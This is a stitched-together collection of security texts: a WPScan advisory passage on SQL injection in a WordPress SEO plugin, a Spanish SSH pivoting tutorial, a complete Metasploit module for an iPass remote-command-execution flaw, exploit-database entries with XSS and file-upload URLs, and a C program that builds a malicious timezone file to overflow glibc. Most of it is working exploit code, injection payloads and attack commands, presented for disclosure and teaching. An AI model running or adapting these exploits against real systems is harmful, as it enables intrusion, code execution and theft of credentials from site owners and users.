function 'Prepares a string for use as an SQL query. A glorified
addslashes() that works with arrays.'. However, this is not sufficient to
prevent SQL Injection as can be seen from our Proof of Concept.
Proof of Concept (PoC):
The following GET request will cause the SQL query to execute and sleep for
10 seconds if clicked on as an authenticated admin, editor or author user.
http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc
Using SQLMap:
python sqlmap.py -u "
http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc"
--batch --technique=B --dbms=MySQL --cookie="wordpress_9d...;
wordpress_logged_in_9dee67...;"
Impact:
As there is no anti-CSRF protection a remote unauthenticated attacker could
use this vulnerability to execute arbitrary SQL queries on the victim
WordPress web site by enticing an authenticated admin, editor or author
user to click on a specially crafted link or visit a page they control.
One possible attack scenario would be an attacker adding their own
administrative user to the target WordPress site, allowing them to
compromise the entire web site.
Timeline:
March 10th 2015 - 15:30 GMT: Vulnerability discovered by Ryan Dewhurst
(WPScan Team - Dewhurst Security).
March 10th 2015 - 18:30 GMT: Technical review by FireFart (WPScan Team).
March 10th 2015 - 20:00 GMT: Vendor contacted via email.
March 10th 2015 - 21:25 GMT: Vendor replies, confirms issue and gave
expected patch timeline.
March 11th 2015 - 12:05 GMT: Vendor released version 1.7.4 which patches
this issue.
March 11th 2015 - 12:30 GMT: Advisory released.
Hacer pivoting mediante SSH es una de las formas más cómodas. Si se tiene la oportunidad de realizar port forwarding con este protocolo es una de las mejores opciones.
Índice:
- Introducción
- Local Port Forwarding
- Remote Port Forwarding
- Dynamic Port Forwarding
Introducción
SSH nos permite 3 modos de port forwarding (reenvío de puertos):
- Local Port Forwarding
- Remote Port Forwarding
- Dynamic Port Forwarding
El «laboratorio» para este post es el siguiente:
- 3 Equipos:
- Kali –> Mi equipo de atacante
- IP: 192.168.10.10
- Debian –> Servicio SSH activado
- IP: 192.168.10.20 y 192.168.20.10 –> 2 Interfaces de Red
- Debian –> Servidor Apache2 activado
- IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante)
- Kali –> Mi equipo de atacante

El objetivo es llegar desde el Kali al Debian que tiene el servidor web, en base a como están distribuidas las redes arriba podemos darnos cuenta rapidamente de que no hay conexión directa entre un equipo y otro. Sin embargo, vamos a aprovecharnos del debian que actúa como servidor SSH y que además tiene conexión a ambas redes para poder llegar desde el Kali al servidor web.
Local Port Forwarding
En este caso, aprovechamos la sesión de SSH para nosotros abrirnos un puerto en nuestro kali para que éste, nos rediriga a la máquina y puertos seleccionados, usando como pivoting el servidor al que nos conectamos por SSH.
La sintaxis e idea es la siguiente:

Teniendo esto en cuenta, procedemos:

Como vemos, la sintaxis usada es:
ssh -L 80:192.168.20.20:80 [email protected]
Explicado con palabras, es lo siguiente:
Con el parámetro -L
, le indicamos que queremos hacer un Local Port Forwarding. El primer puerto que le indicamos, es el puerto que nosotros nos abrimos localmente y que tunelizará hacia el servicio. Posteriormente, la IP y puerto especificado es al que queremos acceder y llegar desde nuestro puerto local. Todo esto a través de la máquina en la que iniciamos sesión con SSH.
Por lo que en este punto, si nos vamos al navegador manteniendo la sesión SSH abierta y vamos a la dirección: http://localhost/, veremos el servidor web:

De esta forma, podemos acceder a todos los puertos de todas las IP a las que el servidor SSH tenga acceso.
En el momento que cortemos la conexión también perderemos el port forwarding:


Remote Port Forwarding
El Remote Port Forwarding es un poco distinto al Local Port Forwarding. No cambia mucho a nivel sintaxis pero si a nivel conceptual.
La sintaxis en este caso es la siguiente:
ssh -R <puerto a abrir en la maquina a la que te conectas><dirección a donde apuntar><puerto a apuntar de la direccion donde se apunta> <usuario>@<direccion kali>
La peculiaridad del Remote Port Forwarding es que nosotros no iniciamos sesión en el servidor SSH que tenemos definido en el laboratorio. Sino que en este caso, es al revés, desde el servidor SSH que tenemos, iniciamos sesión en nuestra máquina kali (tendriamos que activar el servicio SSH).
Mirándolo desde el punto de vista de atacante y víctima, si tratamos el kali como atacante y el debian (servidor SSH) como víctima, nos podemos dar cuenta de que en la máquina víctima, estaríamos poniendo credenciales de nuestro equipo. Ésto hablando desde el punto de vista de la seguridad no es lo óptimo, por eso, se suele usar siempre Local Port Forwarding, ya que no tiene este peligro.
Entonces, volviendo a la práctica, ejecutariamos lo siguiente en el Debian (servidor SSH):

Como vemos, el comando para el Remote Port Forwarding es:
R:80:192.168.20.20:80
De esta forma, como estamos iniciando sesión en el kali, le estamos indicando que abra el puerto 80 y que apunte al Debian que actúa como servidor web. Podemos hacer esto ya que el Debian desde el que nos conectamos tiene acceso a ambas redes, por ello, es posible conectarlas.
Con esto hecho, si nosotros desde el kali nos vamos al localhost:

Vemos que podemos acceder perfectamente al servidor web.
Y al igual que en el Local Port Forwarding, al momento que cortemos la sesión SSH, perdemos la conexión:


Dynamic Port Forwarding
Éste puede ser el tipo de Port Forwarding mas peculiar pero muy útil en ciertas ocasiones. El Dynamic Port Forwarding de forma resumida y mal dicha, nos permite tunelizar todos los puertos de toda la red a la que el servidor SSH tenga acceso. Ésto ocurre porque con este modo, podemos hacer que SSH actué como un proxy SOCKS:

La sintaxis para lograr esto es la mas sencilla de todas:
ssh -D <puerto local que actuará de proxy> <usuario>@<IP>
Por lo que:

De esta forma, ahora mismo tenemos un proxy SOCKS en nuestro puerto local 8080.
Si por ejemplo, desde firefox, nos vamos a «Ajustes > Configuración de Red», podemos indicarle que use éste puerto como proxy SOCKS:

Ahora, ya no tenemos que acceder al localhost como hacíamos en el Local o en el Remote Port Forwarding. De ésta forma, podemos ir directo:

Como vemos parece como si estuviéramos en la misma red que el servidor web. La pregunta en este punto es:
- ¿Podemos hacer uso de ésto con otras herramientas, por ejemplo, nmap?
Pues si que podemos hacer uso tanto de nmap como de otras utilidades, si que es cierto que con ciertas limitaciones, pero podemos, y algunas veces es muy útil. Para poder hacer esto haremos uso de Proxychains, el cual podeis acceder a su post aquí.
Conclusión + Info importante
Algo que no he mencionado hasta ahora es que en cualquiera de los 3 modos, puedes usar tantos argumentos como quieras, es decir, puedes poner varios -L para crear varios Local Port Forwarding en la misma sesión. Ésto mismo aplica para el Remote y el Dynamic Port Forwarding.
Ejemplo con Dynamic:

De ésta forma, podemos tunelizar tantos puertos como queramos (si hablamos de local y remote).
Y estas son las tres formas principales de hacer pivoting en SSH, además, como dato extra, todas las conexiones funcionan por encima de la capa de seguridad que proporciona este protocolo, por lo que todas las conexiones estarán encriptadas.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IPass Control Pipe Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the IPass Client service. This service provides a
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
to force the service to load a DLL from a SMB share.
},
'Author' =>
[
'Matthias Kaiser', # Vulnerability discovery
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0925' ],
[ 'OSVDB', '117423' ],
[ 'BID', '72265' ],
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 21 2015',
'DefaultTarget' => 0))
register_options(
[
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
end
def check
echo_value = rand_text_alphanumeric(rand(10) + 10)
begin
response = send_command("System.Echo #{echo_value}")
if response =~ Regexp.new(echo_value)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
rescue Rex::ConnectionError => e
vprint_error("Connection failed: #{e.class}: #{e}")
return Msf::Exploit::CheckCode::Unknown
rescue Rex::Proto::SMB::Exceptions::LoginError => e
vprint_error('Connection reset during login')
return Msf::Exploit::CheckCode::Unknown
end
end
def setup
super
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
self.share = Rex::Text.rand_text_alpha(5)
end
def primer
self.file_contents = generate_payload_dll
print_status("File available on #{unc}...")
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
end
def send_command(command)
# The connection is closed after each command, so we have to reopen it
connect
smb_login
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
pipe.write(Rex::Text.to_unicode(command))
response = Rex::Text.to_ascii(pipe.read)
response
end
def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
end
end
source: https://www.securityfocus.com/bid/50925/info
Simple Machines Forum is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
Simple Machines Forum 1.1.15 is vulnerable; other versions may also be affected.
http://www.example.com/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
source: https://www.securityfocus.com/bid/50921/info
The Pretty Link plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Pretty Link 1.5.2 is vulnerable; other versions may also be affected.
http://www.example.com/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=[xss]
source: https://www.securityfocus.com/bid/50910/info
Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E
source: https://www.securityfocus.com/bid/50910/info
Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/elxis/index.php?id=3&Itemid=9&option=com_content&task=%22%20onmouseover%3dprompt%28dclabs%29%20dcl%3d%22
source: https://www.securityfocus.com/bid/50906/info
Serv-U is prone to a denial-of-service vulnerability and a security-bypass vulnerability.
Attackers can exploit these issues to perform denial-of-service attacks or gain unauthorized access to the affected application.
Serv-U 11.1.0.3 and prior versions are vulnerable.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36405.zip
// source: https://www.securityfocus.com/bid/50898/info
GNU glibc is prone to an remote integer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that uses the affected library.
#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#define TZ_MAGIC "TZif"
#define PUT_32BIT_MSB(cp, value) \
do { \
(cp)[0] = (value) >> 24; \
(cp)[1] = (value) >> 16; \
(cp)[2] = (value) >> 8; \
(cp)[3] = (value); \
} while (0)
struct tzhead {
char tzh_magic[4];
char tzh_version[1];
char tzh_reserved[15];
char tzh_ttisgmtcnt[4];
char tzh_ttisstdcnt[4];
char tzh_leapcnt[4];
char tzh_timecnt[4];
char tzh_typecnt[4];
char tzh_charcnt[4];
};
struct ttinfo
{
long int offset;
unsigned char isdst;
unsigned char idx;
unsigned char isstd;
unsigned char isgmt;
};
int main(void)
{
struct tzhead evil;
int i;
char *p;
42
uint32_t total_size;
uint32_t evil1, evil2;
/* Initialize static part of the header */
memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
evil.tzh_version[0] = 0;
memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
/* Initialize nasty part of the header */
evil1 = 500;
PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
total_size = evil1 * (sizeof(time_t) + 1);
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
& ~(__alignof__ (struct ttinfo) - 1));
/* value of chars, to get a malloc(0) */
evil2 = 0 - total_size;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)&evil;
for (i = 0; i < sizeof(evil); i++)
printf("%c", p[i]);
/* data we overflow with */
for (i = 0; i < 50000; i++)
printf("A");
}